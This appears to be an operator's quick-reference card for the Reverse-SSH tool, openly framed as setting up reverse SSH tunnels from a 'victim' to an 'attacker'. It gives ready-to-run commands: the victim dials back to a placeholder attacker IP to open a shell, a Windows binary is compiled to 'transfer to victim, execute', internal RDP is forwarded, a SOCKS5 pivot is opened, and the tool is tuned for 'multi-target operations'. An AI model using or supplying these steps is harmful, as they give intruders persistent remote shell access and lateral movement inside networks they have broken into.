Establish reverse SSH tunnels from victim to attacker for interactive shell access behind NAT/firewall. Use when target is not directly reachable and you need a stable SSH shell through outbound-only connections.

Reverse-SSH
Reverse SSH server/tunnel for resilient shell access when inbound connectivity to target is blocked.
Quick Start
# Attacker listener mode
./reverse-ssh -l -p 31337
# Victim dials home
./reverse-ssh -p 31337 <attacker-ip>
# Attacker connects to reverse-bound shell port
ssh -p 8888 127.0.0.1
Common Flags
| Flag | Purpose |
|------|---------|
| -l | Listen mode (bind scenario) |
| -p PORT | SSH port to listen/dial (default 31337) |
| -b PORT | Reverse scenario bind port on attacker side (default 8888) |
| -s SHELL | Shell to spawn (/bin/bash, cmd path hints, etc.) |
| -N | Deny shell/exec/subsystem/local-forward requests |
| --socks5 | Enable SOCKS5 proxy |
| -v | Verbose logs |
Common Workflows
Deploy reverse shell:
# Compile for Windows target (from Linux)
GOOS=windows GOARCH=amd64 go build -o rev.exe .
# Transfer to victim, execute:
rev.exe -p 31337 ATTACKER_IP
Port forwarding via reverse SSH:
# From attacker, tunnel internal RDP over obtained SSH endpoint
ssh -p 8888 -L 3389:127.0.0.1:3389 127.0.0.1
# Connect RDP client to localhost:3389
SOCKS5 proxy:
# Open SSH dynamic forwarding via recovered endpoint
ssh -p 8888 -D 1080 127.0.0.1
Hardening Before Use
- Replace default credentials at compile time (
RS_PASS,RS_PUB). - Set explicit
BPORTto avoid collisions during multi-target operations. - Use
-Nin listener-only workflows where shell execution is not required.
